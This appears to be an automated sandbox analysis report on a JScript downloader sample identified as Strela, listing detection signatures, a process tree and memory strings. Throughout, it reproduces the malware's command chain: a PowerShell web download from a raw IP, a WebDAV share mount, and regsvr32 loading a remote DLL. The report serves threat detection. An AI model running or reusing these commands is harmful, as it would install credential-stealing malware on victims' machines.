Edit tour

Windows Analysis Report
18971281001132729595.js

Overview

General Information

Sample name:	18971281001132729595.js
Analysis ID:	1588553
MD5:	7e728b7a86f10d9a44622d1fbf22c32f
SHA1:	9e3d20940ff8e5333cba040eaaf5350bdb82b755
SHA256:	cf327083aa14b4e3efdcc23dc14944f9ba8657f9e3faa22e3f0c3207548caf67
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7956 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8044 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8096 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5432 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7844 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2064 --field-trial-handle=1692,i,872176090772695585,7218028360287042238,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7532 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3268 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6648 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7956	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8096, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8096, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", ProcessId: 7956, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 8044, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 8044, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 8044, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 8044, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 8044, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", ProcessId: 7956, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8096, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7532, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3268, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6648, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7532, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3268, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll, ProcessId: 8044, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 18971281001132729595.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 18971281001132729595.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1328506654.000001F3AD942000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1395480843.0000013276358000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1394015492.000001327638D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1390043571.00000132763AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395616642.000001327638D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1394015492.000001327638D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395616642.000001327638D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/6
Source: net.exe, 00000007.00000003.1394015492.000001327638D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395616642.000001327638D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/b
Source: svchost.exe, 00000009.00000002.2626780869.000001DC26600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.1394161387.000001DC26430000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7956, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 18971281001132729595.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mo3o5bwp.ygk.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18971281001132729595.js"
